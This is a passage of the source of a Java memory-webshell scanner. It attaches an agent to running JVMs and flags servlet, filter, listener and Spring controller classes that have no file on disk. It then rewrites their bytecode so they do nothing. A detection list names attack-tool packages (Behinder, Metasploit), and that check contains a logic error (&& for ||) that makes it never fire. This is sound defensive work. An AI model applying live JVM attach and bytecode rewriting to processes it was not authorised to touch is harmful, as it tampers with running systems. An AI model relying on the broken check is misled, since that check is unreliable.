2 |
3 | import java.io.File;
4 | import java.net.URL;
5 | import java.net.URLClassLoader;
6 | import java.util.HashMap;
7 | import java.util.List;
8 | import java.util.Map;
9 |
10 | /**
11 | * 创建 VirtualMachine 代理类,加载JVM tools.jar
12 | *
13 | * @author su18
14 | */
15 | public class VirtualMachineProxy {
16 |
17 | private Class> virtualMachineClass;
18 |
19 | public VirtualMachineProxy() {
20 | String virtualMachineName = "com.sun.tools.attach.VirtualMachine";
21 |
22 | try {
23 | virtualMachineClass = Class.forName(virtualMachineName);
24 | } catch (ClassNotFoundException e) {
25 | File toolsJar = VirtualMachineProxy.getJDKToolsJar();
26 |
27 | try {
28 | URL[] urls = new URL[]{toolsJar.toURI().toURL()};
29 | virtualMachineClass = new URLClassLoader(urls).loadClass(virtualMachineName);
30 | } catch (Exception ex) {
31 | System.out.println("Load tools.jar Exception: " + e);
32 | ex.printStackTrace();
33 | }
34 | }
35 | }
36 |
37 | /**
38 | * 获取JDK安装目录
39 | *
40 | * @return 获取lib/tools.jar文件路径
41 | */
42 | public static File getJDKToolsJar() {
43 | // 读取环境变量中的JAVA_HOME
44 | String javaHome = System.getenv().get("JAVA_HOME");
45 | File jarFile = null;
46 |
47 | if (javaHome != null) {
48 | jarFile = new File(javaHome);
49 | } else {
50 | jarFile = new File(System.getProperty("java.home"));
51 | }
52 |
53 | File toolsJar = new File(jarFile + "/lib/", "tools.jar");
54 |
55 | // 可能获取到的JAVA_HOME是jre,跳转到jre的父级查找是否安装了JDK
56 | if (!toolsJar.exists()) {
57 | toolsJar = new File(toolsJar.getParentFile().getParentFile() + "/lib/", "tools.jar");
58 | }
59 |
60 | if (!toolsJar.exists()) {
61 | toolsJar = new File(toolsJar.getParentFile().getParentFile().getParentFile() + "/lib/", "tools.jar");
62 | }
63 |
64 | if (toolsJar.exists()) {
65 | return toolsJar;
66 | } else {
67 | toolsJar = new File(jarFile + "/Classes/", "classes.jar");
68 |
69 | if (toolsJar.exists()) {
70 | return toolsJar;
71 | }
72 | }
73 |
74 | throw new RuntimeException("Can Not Load JVM tools.jar,Please Confirm Your \"JAVA_HOME\" Config");
75 | }
76 |
77 | /**
78 | * 获取本机所有的JVM进程ID
79 | *
80 | * @return 进程JVM 进程ID Map
81 | */
82 | public Map listJvmPid() throws Exception {
83 | Map processMap = new HashMap();
84 | List> list = (List>) virtualMachineClass.getDeclaredMethod("list").invoke(null);
85 |
86 | for (Object p : list) {
87 | Class> descriptorClass = p.getClass();
88 | String processId = (String) descriptorClass.getMethod("id").invoke(p);
89 | String displayName = (String) descriptorClass.getMethod("displayName").invoke(p);
90 |
91 | processMap.put(processId, displayName);
92 | }
93 |
94 | return processMap;
95 | }
96 |
97 | /**
98 | * 附加到JVM 进程
99 | *
100 | * @param pid 进程ID
101 | * @return VirtualMachine
102 | * @throws Exception 反射调用异常
103 | */
104 | public Object attach(String pid) throws Exception {
105 | return virtualMachineClass.getDeclaredMethod("attach", String.class).invoke(null, pid);
106 | }
107 |
108 | public void detach(Object vm) throws Exception {
109 | vm.getClass().getDeclaredMethod("detach").invoke(vm);
110 | }
111 |
112 | /**
113 | * 加载Agent文件到JVM
114 | *
115 | * @param vm VirtualMachine
116 | * @param agentFile Agent jar文件
117 | * @param args Agent参数
118 | * @throws Exception 反射调用异常
119 | */
120 | public void loadAgent(Object vm, String agentFile, String args) throws Exception {
121 | virtualMachineClass.getDeclaredMethod("loadAgent", String.class, String.class).invoke(vm, agentFile, args);
122 | }
123 |
124 | }
125 |
--------------------------------------------------------------------------------
/memshell-loader/src/main/java/org/su18/memshell/loader/commons/AgentCache.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.loader.commons;
2 |
3 | import java.lang.instrument.ClassFileTransformer;
4 | import java.lang.instrument.Instrumentation;
5 | import java.util.Collections;
6 | import java.util.HashSet;
7 | import java.util.Set;
8 |
9 | /**
10 | * Agent 缓存类
11 | *
12 | * @author su18
13 | */
14 | public class AgentCache {
15 |
16 | private Instrumentation instrumentation;
17 |
18 | private final Set modifiedClass = Collections.synchronizedSet(new HashSet());
19 |
20 | private final Set reTransformClass = Collections.synchronizedSet(new HashSet());
21 |
22 | private final Set transformers = Collections.synchronizedSet(new HashSet());
23 |
24 | public Instrumentation getInstrumentation() {
25 | return instrumentation;
26 | }
27 |
28 | public void setInstrumentation(Instrumentation instrumentation) {
29 | this.instrumentation = instrumentation;
30 | }
31 |
32 | public Set getModifiedClass() {
33 | return modifiedClass;
34 | }
35 |
36 | public Set getTransformers() {
37 | return transformers;
38 | }
39 |
40 | public Set getReTransformClass() {
41 | return reTransformClass;
42 | }
43 |
44 | public void clear() {
45 | instrumentation = null;
46 | modifiedClass.clear();
47 | reTransformClass.clear();
48 | transformers.clear();
49 | }
50 |
51 | }
--------------------------------------------------------------------------------
/memshell-loader/src/main/java/org/su18/memshell/loader/commons/Constants.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.loader.commons;
2 |
3 | /**
4 | * 常量配置类
5 | *
6 | * @author su18
7 | */
8 | public class Constants {
9 |
10 | /**
11 | * Java内部包名过滤正则
12 | */
13 | public static final String JAVA_INTERNAL_PACKAGES = "^(java|javax|jakarta|(com\\.)?sun)\\..*";
14 |
15 | public static final String AGENT_NAME = "suagent";
16 |
17 | public static final String ENCODING = "UTF-8";
18 |
19 | public static final String AGENT_FILE_NAME = AGENT_NAME + "-scanner.jar";
20 |
21 | /**
22 | * 定义Agent loader文件名称
23 | */
24 | public static final String AGENT_LOADER_FILE_NAME = AGENT_NAME + "-loader.jar";
25 |
26 |
27 | public static final String BANNER_FILE_NAME = "banner.txt";
28 |
29 |
30 | }
31 |
--------------------------------------------------------------------------------
/memshell-loader/src/main/java/org/su18/memshell/loader/utils/StringUtils.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.loader.utils;
2 |
3 | import java.io.UnsupportedEncodingException;
4 |
5 | import static org.su18.memshell.loader.commons.Constants.AGENT_NAME;
6 | import static org.su18.memshell.loader.commons.Constants.ENCODING;
7 |
8 | /**
9 | * 字符串编码处理工具类
10 | *
11 | * @author su18
12 | */
13 | public class StringUtils {
14 |
15 |
16 | private static final String DEFAULT_ENCODING = System.getProperty("file.encoding");
17 |
18 | public static String charset(String str) {
19 | try {
20 | if (!ENCODING.equals(DEFAULT_ENCODING)) {
21 | return new String(str.getBytes(), DEFAULT_ENCODING);
22 | }
23 |
24 | return str;
25 | } catch (UnsupportedEncodingException e) {
26 | // ignore
27 | }
28 |
29 | return str;
30 | }
31 |
32 | public static void println(String str) {
33 | System.out.println("[ " + AGENT_NAME + " ] " + charset(str));
34 | }
35 |
36 | public static void print(String str) {
37 | System.out.println(charset(str));
38 | }
39 |
40 | }
--------------------------------------------------------------------------------
/memshell-loader/src/main/resources/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Agent-Class: org.su18.memshell.loader.Agent
3 | Premain-Class: org.su18.memshell.loader.Agent
4 | Main-Class: org.su18.memshell.loader.Agent
5 | Can-Retransform-Classes: true
6 | Can-Redefine-Classes: true
7 |
--------------------------------------------------------------------------------
/memshell-scanner/dependency-reduced-pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | MemoryShell
5 | org.su18
6 | 1.0.0
7 |
8 | 4.0.0
9 | memshell-scanner
10 |
11 | suagent-scanner
12 |
13 |
14 | maven-compiler-plugin
15 | 3.8.1
16 |
17 | 1.6
18 | 1.6
19 |
20 |
21 |
22 | maven-shade-plugin
23 | 3.2.2
24 |
25 |
26 | package
27 |
28 | shade
29 |
30 |
31 |
32 |
33 | *:*
34 |
35 | META-INF/
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 | maven-surefire-plugin
45 | 2.21.0
46 |
47 | true
48 |
49 |
50 |
51 | maven-antrun-plugin
52 |
53 |
54 | package
55 |
56 | run
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 | org.su18
71 | memshell-loader
72 | 1.0.0
73 | provided
74 |
75 |
76 |
77 |
--------------------------------------------------------------------------------
/memshell-scanner/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 | MemoryShell
7 | org.su18
8 | 1.0.0
9 |
10 | 4.0.0
11 |
12 | memshell-scanner
13 |
14 |
15 |
16 | org.su18
17 | memshell-loader
18 | ${project.parent.version}
19 | provided
20 |
21 |
22 |
23 | org.ow2.asm
24 | asm-commons
25 | 9.1
26 |
27 |
28 |
29 | org.javassist
30 | javassist
31 | 3.20.0-GA
32 |
33 |
34 |
35 | commons-io
36 | commons-io
37 | 2.3
38 |
39 |
40 |
41 |
42 |
43 | suagent-scanner
44 |
45 |
46 | org.apache.maven.plugins
47 | maven-compiler-plugin
48 | 3.8.1
49 |
50 | 1.6
51 | 1.6
52 |
53 |
54 |
55 |
56 | org.apache.maven.plugins
57 | maven-shade-plugin
58 | 3.2.2
59 |
60 |
61 | package
62 |
63 | shade
64 |
65 |
66 |
67 |
68 | *:*
69 |
70 | META-INF/
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 | org.apache.maven.plugins
81 | maven-surefire-plugin
82 | 2.21.0
83 |
84 | true
85 |
86 |
87 |
88 | org.apache.maven.plugins
89 | maven-antrun-plugin
90 |
91 |
92 | package
93 |
94 |
95 |
98 |
99 |
100 |
101 | run
102 |
103 |
104 |
105 |
106 |
107 |
108 |
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/BootStrap.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner;
2 |
3 | import org.apache.commons.io.FileUtils;
4 | import org.su18.memshell.loader.SuClassLoader;
5 | import org.su18.memshell.loader.commons.AgentCache;
6 | import org.su18.memshell.loader.utils.StringUtils;
7 | import org.su18.memshell.scanner.common.MemoryShellType;
8 | import org.su18.memshell.scanner.utils.ClassUtils;
9 |
10 | import java.io.File;
11 | import java.io.IOException;
12 | import java.lang.instrument.ClassFileTransformer;
13 | import java.lang.instrument.Instrumentation;
14 | import java.lang.reflect.Modifier;
15 | import java.util.ArrayList;
16 | import java.util.List;
17 | import java.util.Map;
18 | import java.util.Set;
19 | import java.util.concurrent.ConcurrentHashMap;
20 |
21 | import static org.su18.memshell.loader.commons.Constants.AGENT_NAME;
22 | import static org.su18.memshell.loader.commons.Constants.BANNER_FILE_NAME;
23 | import static org.su18.memshell.scanner.common.MemoryShellType.CONTROLLER;
24 | import static org.su18.memshell.scanner.common.MemoryShellType.values;
25 |
26 | /**
27 | * 通过反射调用的 BootStrap 入口类
28 | *
29 | * @author su18
30 | */
31 | public class BootStrap {
32 |
33 | public static ClassLoader classLoader;
34 |
35 | public static Map, String> keyClassMap = new ConcurrentHashMap, String>();
36 |
37 | public static List riskAnnotations = new ArrayList();
38 |
39 | public static Map, String> shellClassMap = new ConcurrentHashMap, String>();
40 |
41 |
42 | static {
43 | riskAnnotations.add("org.springframework.stereotype.Controller");
44 | riskAnnotations.add("org.springframework.web.bind.annotation.RestController");
45 | riskAnnotations.add("org.springframework.web.bind.annotation.RequestMapping");
46 | riskAnnotations.add("org.springframework.web.bind.annotation.GetMapping");
47 | riskAnnotations.add("org.springframework.web.bind.annotation.PostMapping");
48 | riskAnnotations.add("org.springframework.web.bind.annotation.PatchMapping");
49 | riskAnnotations.add("org.springframework.web.bind.annotation.PutMapping");
50 | riskAnnotations.add("org.springframework.web.bind.annotation.Mapping");
51 | }
52 |
53 |
54 | /**
55 | * 启动RASP Agent
56 | *
57 | * @param inst Agent inst
58 | * @param loader RASP 类加载器
59 | * @param cache RASP Agent缓存对象
60 | */
61 | public static void bootStrap(Instrumentation inst, SuClassLoader loader, AgentCache cache) {
62 |
63 | // 打印 logo
64 | printLogo();
65 |
66 | // 储存 classloader
67 | classLoader = loader;
68 |
69 | // 创建自定义 ClassFileTransformer 并缓存
70 | ClassFileTransformer raspTransformer = new SuTransformer(cache);
71 | cache.getTransformers().add(raspTransformer);
72 |
73 | // 添加 transformer 到 JVM
74 | inst.addTransformer(raspTransformer, true);
75 |
76 | // 获取所有已加载的类
77 | Class>[] allLoadedClasses = inst.getAllLoadedClasses();
78 |
79 | StringUtils.println("Investigating All Loaded Classed,total amount: " + allLoadedClasses.length);
80 |
81 | for (Class> clazz : allLoadedClasses) {
82 |
83 | // 不处理抽象类和接口
84 | if (!clazz.isInterface() && !Modifier.isAbstract(clazz.getModifiers())) {
85 |
86 | // 获取包名是黑名单的类(并不是一个体面的方式,但是挺暴力的)
87 | if (clazz.getName().startsWith("net.rebeyond.") && clazz.getName().startsWith("com.metasploit.")) {
88 | StringUtils.println("High-Risk Package Name In System:" + clazz.getName());
89 | StringUtils.print(ClassUtils.getClassInfo(clazz));
90 | continue;
91 | }
92 |
93 | // 提取关键类
94 | extractKeyClass(clazz);
95 | }
96 | }
97 |
98 | StringUtils.println("Extract Key Class Finished,Checking Memory Shell...");
99 |
100 | for (Map.Entry, String> entry : keyClassMap.entrySet()) {
101 |
102 | // 根据该 class 在其 ClassLoader 中是否存有 Resource 判断是否在磁盘上存在其文件
103 | // 若没有,则可能为内存马
104 | if (ClassUtils.checkClassIsNotExists(entry.getKey())) {
105 | StringUtils.println("Find " + entry.getValue() + "-TYPED Memory Shell [ Resource Missing ]");
106 | StringUtils.print(ClassUtils.getClassInfo(entry.getKey()));
107 | shellClassMap.put(entry.getKey(), entry.getValue());
108 | }
109 | }
110 |
111 |
112 | StringUtils.println("Checking Memory Shell Finished,Trying To Hook Shell Class..");
113 |
114 | // 将 shell class 加入 HOOK 进行处理
115 | for (Map.Entry, String> shellEntry : shellClassMap.entrySet()) {
116 | try {
117 | if (inst.isModifiableClass(shellEntry.getKey())) {
118 | inst.retransformClasses(shellEntry.getKey());
119 | cache.getReTransformClass().add(shellEntry.getKey().getName());
120 | }
121 | } catch (Exception e) {
122 | e.printStackTrace();
123 | }
124 | }
125 | }
126 |
127 |
128 | /**
129 | * 提取关键类放在 keyClassMap 中
130 | *
131 | * @param clazz Class
132 | */
133 | private static void extractKeyClass(Class> clazz) {
134 |
135 | // 忽略动态代理类
136 | if (clazz.getName().startsWith("com.sun.proxy")) {
137 | return;
138 | }
139 |
140 | // 获取 clazz 的全部父类和接口
141 | Set set = ClassUtils.getSuperClassListByAsm(clazz, clazz.getClassLoader());
142 |
143 | // 获取带有 controller 和 mapping 注解的类(Spring Controller,确实没有太好的办法)(适配框架)
144 | if (ClassUtils.isUseAnnotations(clazz, riskAnnotations)) {
145 | keyClassMap.put(clazz, CONTROLLER.name());
146 | return;
147 | }
148 |
149 | for (MemoryShellType value : values()) {
150 | if (set.contains(value.getHook())) {
151 | keyClassMap.put(clazz, value.name());
152 | return;
153 | }
154 | }
155 | }
156 |
157 | /**
158 | * 打印 suagent logo
159 | */
160 | private static void printLogo() {
161 | String banner = getBanner();
162 | StringUtils.print("\n" + banner + "[ " + AGENT_NAME + " v1.0.0 ] by su18\n");
163 | }
164 |
165 | /**
166 | * 获取Agent Banner信息
167 | *
168 | * @return 获取Banner
169 | */
170 | public static String getBanner() {
171 | try {
172 | return FileUtils.readFileToString(
173 | new File(
174 | new File(
175 | BootStrap.class.getProtectionDomain().getCodeSource().getLocation().getFile()).getParentFile(),
176 | BANNER_FILE_NAME));
177 | } catch (IOException e) {
178 | return "[ This is Banner ]";
179 | }
180 |
181 |
182 | }
183 |
184 | }
185 |
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/SuTransformer.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner;
2 |
3 | import org.objectweb.asm.ClassReader;
4 | import org.objectweb.asm.ClassWriter;
5 | import org.su18.memshell.loader.commons.AgentCache;
6 | import org.su18.memshell.scanner.asm.SuClassVisitor;
7 | import org.su18.memshell.scanner.asm.SuClassWriter;
8 |
9 | import java.io.FileOutputStream;
10 | import java.io.IOException;
11 | import java.lang.instrument.ClassFileTransformer;
12 | import java.lang.instrument.IllegalClassFormatException;
13 | import java.security.ProtectionDomain;
14 | import java.util.regex.Pattern;
15 |
16 | import static org.objectweb.asm.ClassReader.EXPAND_FRAMES;
17 | import static org.objectweb.asm.ClassWriter.COMPUTE_FRAMES;
18 | import static org.objectweb.asm.Opcodes.ASM9;
19 |
20 | /**
21 | * 自定义 ClassFileTransformer ,处理指定的 class
22 | *
23 | * @author su18
24 | */
25 | public class SuTransformer implements ClassFileTransformer {
26 |
27 | private final AgentCache agentCache;
28 |
29 | SuTransformer(AgentCache agentCache) {
30 | this.agentCache = agentCache;
31 | }
32 |
33 | @Override
34 | public byte[] transform(ClassLoader loader, String className, Class> clazz,
35 | ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
36 |
37 | className = className.replace("/", ".");
38 |
39 | // 创建ClassReader对象,读取字节码
40 | ClassReader classReader = new ClassReader(classfileBuffer);
41 |
42 | ClassWriter cw = new SuClassWriter(classReader, COMPUTE_FRAMES, loader);
43 |
44 | try {
45 | SuClassVisitor classVisitor = new SuClassVisitor(
46 | ASM9, cw, className, loader, classfileBuffer, agentCache
47 | );
48 |
49 | classReader.accept(classVisitor, EXPAND_FRAMES);
50 |
51 | classfileBuffer = cw.toByteArray();
52 | // 查看被改的类
53 | dumpClass(className, classfileBuffer);
54 | } catch (Throwable t) {
55 | t.printStackTrace();
56 | }
57 |
58 |
59 | return classfileBuffer;
60 | }
61 |
62 | /**
63 | * dump 出类字节码进行查看
64 | *
65 | * @param className 类名
66 | * @param classfileBuffer 类字节码
67 | * @throws IOException 抛出异常
68 | */
69 | private static void dumpClass(String className, byte[] classfileBuffer) throws IOException {
70 | String regexp = "\\b(TestFilter|TestServlet|TestValve|TestListener)$";
71 |
72 | if (Pattern.compile(regexp).matcher(className).find()) {
73 | className = className.substring(className.lastIndexOf(".") + 1);
74 | FileOutputStream fos = new FileOutputStream("/Users/phoebe/IdeaProjects/MemoryShell/dump/" + className + ".class");
75 | fos.write(classfileBuffer);
76 | fos.close();
77 | }
78 | }
79 | }
80 |
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/asm/SuClassDesc.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner.asm;
2 |
3 | import org.objectweb.asm.ClassWriter;
4 |
5 | /**
6 | * Class 信息描述类
7 | *
8 | * @author su18
9 | */
10 | public class SuClassDesc {
11 |
12 | /**
13 | * ASM版本
14 | */
15 | private final int api;
16 |
17 | /**
18 | * JDK版本
19 | */
20 | private final int version;
21 |
22 | /**
23 | * 类访问级别
24 | */
25 | private final int access;
26 |
27 | /**
28 | * 类名
29 | */
30 | private final String className;
31 |
32 | /**
33 | * 签名
34 | */
35 | private final String signature;
36 |
37 | /**
38 | * 父类名
39 | */
40 | private final String superClassName;
41 |
42 | /**
43 | * 实现的所有的接口名
44 | */
45 | private final String[] interfacesClass;
46 |
47 | /**
48 | * 类加载器
49 | */
50 | private final ClassLoader classLoader;
51 |
52 | /**
53 | * 类字节码
54 | */
55 | private final byte[] classfileBuffer;
56 |
57 | private final ClassWriter classVisitor;
58 |
59 | public SuClassDesc(final int api, final int version, final int access,
60 | final String className, final String signature,
61 | final String superClassName, final String[] interfacesClass,
62 | final ClassLoader classLoader, final byte[] classfileBuffer,
63 | final ClassWriter classVisitor) {
64 |
65 | this.api = api;
66 | this.version = version;
67 | this.access = access;
68 | this.className = className;
69 | this.signature = signature;
70 | this.superClassName = superClassName;
71 | this.interfacesClass = interfacesClass;
72 | this.classLoader = classLoader;
73 | this.classfileBuffer = classfileBuffer;
74 | this.classVisitor = classVisitor;
75 | }
76 |
77 | public int getApi() {
78 | return api;
79 | }
80 |
81 | public int getVersion() {
82 | return version;
83 | }
84 |
85 | public int getAccess() {
86 | return access;
87 | }
88 |
89 | public String getClassName() {
90 | return className;
91 | }
92 |
93 | public String getSignature() {
94 | return signature;
95 | }
96 |
97 | public String getSuperClassName() {
98 | return superClassName;
99 | }
100 |
101 | public String[] getInterfacesClass() {
102 | return interfacesClass;
103 | }
104 |
105 | public ClassLoader getClassLoader() {
106 | return classLoader;
107 | }
108 |
109 | public byte[] getClassfileBuffer() {
110 | return classfileBuffer;
111 | }
112 |
113 | }
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/asm/SuClassVisitor.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner.asm;
2 |
3 | import org.objectweb.asm.ClassVisitor;
4 | import org.objectweb.asm.ClassWriter;
5 | import org.objectweb.asm.MethodVisitor;
6 | import org.objectweb.asm.Opcodes;
7 | import org.su18.memshell.loader.commons.AgentCache;
8 | import org.su18.memshell.scanner.BootStrap;
9 | import org.su18.memshell.scanner.common.MemoryShellType;
10 |
11 | import java.util.Map;
12 |
13 | /**
14 | * 自定义 ClassVisitor
15 | *
16 | * @author su18
17 | */
18 | public class SuClassVisitor extends ClassVisitor implements Opcodes {
19 |
20 | private final int api;
21 |
22 | private final ClassWriter classVisitor;
23 |
24 | private final String className;
25 |
26 | private final ClassLoader loader;
27 |
28 | private final byte[] classfileBuffer;
29 |
30 | private final AgentCache agentCache;
31 |
32 | private SuClassDesc raspClassDesc;
33 |
34 |
35 | public SuClassVisitor(final int api, final ClassWriter cw, final String className,
36 | final ClassLoader loader, final byte[] classfileBuffer,
37 | final AgentCache agentCache) {
38 |
39 | super(api, cw);
40 |
41 | this.api = api;
42 | this.classVisitor = cw;
43 | this.className = className;
44 | this.loader = loader;
45 | this.classfileBuffer = classfileBuffer;
46 | this.agentCache = agentCache;
47 | }
48 |
49 | @Override
50 | public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
51 | raspClassDesc = new SuClassDesc(
52 | api, version, access, className.replace("/", "."), signature, superName.replace("/", "."),
53 | interfaces, loader, classfileBuffer, classVisitor
54 | );
55 |
56 | super.visit(version, access, name, signature, superName, interfaces);
57 | }
58 |
59 | @Override
60 | public MethodVisitor visitMethod(final int access, String methodName, final String methodDesc,
61 | String signature, String[] exceptions) {
62 |
63 | MethodVisitor mv = super.visitMethod(access, methodName, methodDesc, signature, exceptions);
64 |
65 | // 判断类名是否匹配
66 | for (Map.Entry, String> entry : BootStrap.shellClassMap.entrySet()) {
67 | if (entry.getKey().getName().equals(raspClassDesc.getClassName())) {
68 | String type = entry.getValue();
69 |
70 | // 从 MemoryShellType 中寻找对应的
71 | if (type != null && methodName.startsWith(MemoryShellType.valueOf(type).getMethod())) {
72 | final SuMethodDesc raspMethodDesc = new SuMethodDesc(
73 | raspClassDesc, access, signature, exceptions, methodName, methodDesc
74 | );
75 |
76 | agentCache.getModifiedClass().add(className);
77 | return new SuMethodVisitor(raspMethodDesc, mv);
78 | }
79 | }
80 | }
81 |
82 | return mv;
83 | }
84 | }
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/asm/SuClassWriter.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner.asm;
2 |
3 | import org.objectweb.asm.ClassReader;
4 | import org.objectweb.asm.ClassWriter;
5 | import org.su18.memshell.scanner.utils.ClassUtils;
6 |
7 | import java.util.Set;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class SuClassWriter extends ClassWriter {
13 |
14 | private static final String OBJECT_CLASS = Object.class.getName().replace(".", "/");
15 |
16 | private final ClassLoader classLoader;
17 |
18 | public SuClassWriter(ClassReader classReader, int flags, ClassLoader classLoader) {
19 | super(classReader, flags);
20 | this.classLoader = classLoader;
21 | }
22 |
23 | /**
24 | * 重写计算两个类的父类逻辑
25 | *
26 | * @param type1 类1
27 | * @param type2 类2
28 | * @return 父类名
29 | */
30 | @Override
31 | protected String getCommonSuperClass(final String type1, final String type2) {
32 | String className1 = ClassUtils.toJavaName(type1);
33 | String className2 = ClassUtils.toJavaName(type2);
34 | ClassLoader loader = classLoader;
35 |
36 | // 如果类加载器为空,可能是AppClassLoader类加载器加载的
37 | if (classLoader == null) {
38 | loader = ClassLoader.getSystemClassLoader();
39 | }
40 |
41 | // 获取当前类的所有父类类名或知实现了的所有接口类类名
42 | Set superClassList1 = ClassUtils.getSuperClassListByAsm(className1, loader);
43 |
44 | // 求A∩B,如果A∩B不为空,说明A是B的父类
45 | if (superClassList1.contains(className2)) {
46 | return type2;
47 | }
48 |
49 | Set superClassList2 = ClassUtils.getSuperClassListByAsm(className2, loader);
50 |
51 | // 求B∩A,如果B∩A不为空,说明B是A的父类
52 | if (superClassList2.contains(className1)) {
53 | return type1;
54 | }
55 |
56 | // 取出A类的所有父类和B类的所有父类的交集类名称(排除Object类)
57 | for (String claName : superClassList1) {
58 | if (superClassList2.contains(claName)) {
59 | return ClassUtils.toAsmClassName(claName);
60 | }
61 | }
62 |
63 | return OBJECT_CLASS;
64 | }
65 |
66 | }
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/asm/SuMethodDesc.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner.asm;
2 |
3 | /**
4 | * 自定义方法描述类
5 | *
6 | * @author su18
7 | */
8 | public class SuMethodDesc {
9 |
10 | private final SuClassDesc suClassDesc;
11 |
12 | private final int methodAccess;
13 |
14 | private final String methodSignature;
15 |
16 | private final String[] exceptions;
17 |
18 | private final String methodName;
19 |
20 | private final String methodArgsDesc;
21 |
22 | public SuMethodDesc(SuClassDesc suClassDesc, int methodAccess, String methodSignature,
23 | String[] exceptions, String methodName, String methodArgsDesc) {
24 |
25 | this.suClassDesc = suClassDesc;
26 | this.methodAccess = methodAccess;
27 | this.methodSignature = methodSignature;
28 | this.exceptions = exceptions;
29 | this.methodName = methodName;
30 | this.methodArgsDesc = methodArgsDesc;
31 | }
32 |
33 | public SuClassDesc getSuClassDesc() {
34 | return suClassDesc;
35 | }
36 |
37 | public int getMethodAccess() {
38 | return methodAccess;
39 | }
40 |
41 | public String getMethodSignature() {
42 | return methodSignature;
43 | }
44 |
45 | public String[] getExceptions() {
46 | return exceptions;
47 | }
48 |
49 | public String getMethodName() {
50 | return methodName;
51 | }
52 |
53 | public String getMethodArgsDesc() {
54 | return methodArgsDesc;
55 | }
56 |
57 | }
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/asm/SuMethodVisitor.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner.asm;
2 |
3 | import org.objectweb.asm.Label;
4 | import org.objectweb.asm.MethodVisitor;
5 | import org.objectweb.asm.Type;
6 | import org.objectweb.asm.commons.AdviceAdapter;
7 | import org.su18.memshell.loader.utils.StringUtils;
8 |
9 | import static org.su18.memshell.scanner.common.MemoryShellType.*;
10 |
11 | /**
12 | * 自定义 MethodVisitor
13 | *
14 | * @author su18
15 | */
16 | public class SuMethodVisitor extends AdviceAdapter {
17 |
18 | /**
19 | * 是否为静态方法
20 | */
21 |
22 | private final SuMethodDesc suMethodDesc;
23 |
24 |
25 | protected SuMethodVisitor(SuMethodDesc suMethodDesc, MethodVisitor mv) {
26 | // 执行 super 方法
27 | super(
28 | suMethodDesc.getSuClassDesc().getApi(), mv, suMethodDesc.getMethodAccess(),
29 | suMethodDesc.getMethodName(), suMethodDesc.getMethodArgsDesc()
30 | );
31 |
32 | this.suMethodDesc = suMethodDesc;
33 | }
34 |
35 | /**
36 | *
37 | */
38 | @Override
39 | public void onMethodEnter() {
40 |
41 | Label label0 = new Label();
42 | Label label1 = new Label();
43 | Label label2 = new Label();
44 | Label label3 = new Label();
45 | visitTryCatchBlock(label0, label1, label2, Throwable.class.getName().replace(".", "/"));
46 | mark(label0);
47 |
48 | // 插入 hook 逻辑
49 | insertHook();
50 |
51 | mark(label1);
52 | goTo(label3);
53 | mark(label2);
54 | int throwableIndex = newLocal(Type.getType(Throwable.class));
55 | storeLocal(throwableIndex);
56 | mark(label3);
57 | }
58 |
59 | public void insertHook() {
60 | String methodName = suMethodDesc.getMethodName();
61 | String message = "Overwriting Byte Code To Class: [" + suMethodDesc.getSuClassDesc().getClassName() +
62 | "] Method [" + suMethodDesc.getMethodName() + "]";
63 |
64 | if (methodName.equals(SERVLET.getMethod()) || methodName.startsWith(LISTENER.getMethod()) ||
65 | (methodName.startsWith("do") && !"doFilter".equals(methodName))) {
66 | StringUtils.println(message);
67 | hookReturn();
68 | } else if (methodName.equals(FILTER.getMethod())) {
69 | StringUtils.println(message);
70 | hookFilter();
71 | } else if (methodName.equals(INTERCEPTOR.getMethod())) {
72 | StringUtils.println(message);
73 | hookReturnTrue();
74 | } else if (methodName.equals(VALVE.getMethod())) {
75 | StringUtils.println(message);
76 | // 暂时有问题
77 | // hookValve();
78 | } else if (methodName.startsWith(GRIZZLY.getMethod())) {
79 | StringUtils.println(message);
80 | hookGrizzly();
81 | }
82 | }
83 |
84 | /**
85 | * 什么也不做直接 return
86 | * servlet 和 listener 的内存马可以这么做
87 | * return;
88 | */
89 | public void hookReturn() {
90 | mv.visitInsn(RETURN);
91 | }
92 |
93 |
94 | /**
95 | * 直接按照 Filter 的调用传入下一条 FilterChain 然后 return
96 | * Filter 内存马可以这么做
97 | * $3.doFilter($1, $2);return;
98 | */
99 | public void hookFilter() {
100 | mv.visitVarInsn(ALOAD, 3);
101 | mv.visitVarInsn(ALOAD, 1);
102 | mv.visitVarInsn(ALOAD, 2);
103 | mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain", "doFilter", "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V", true);
104 | mv.visitInsn(RETURN);
105 | }
106 |
107 |
108 | /**
109 | * 插入字节码 return true
110 | * spring HandlerInterceptor preHandle 可以这么做
111 | * return true;
112 | */
113 | public void hookReturnTrue() {
114 | mv.visitInsn(ICONST_1);
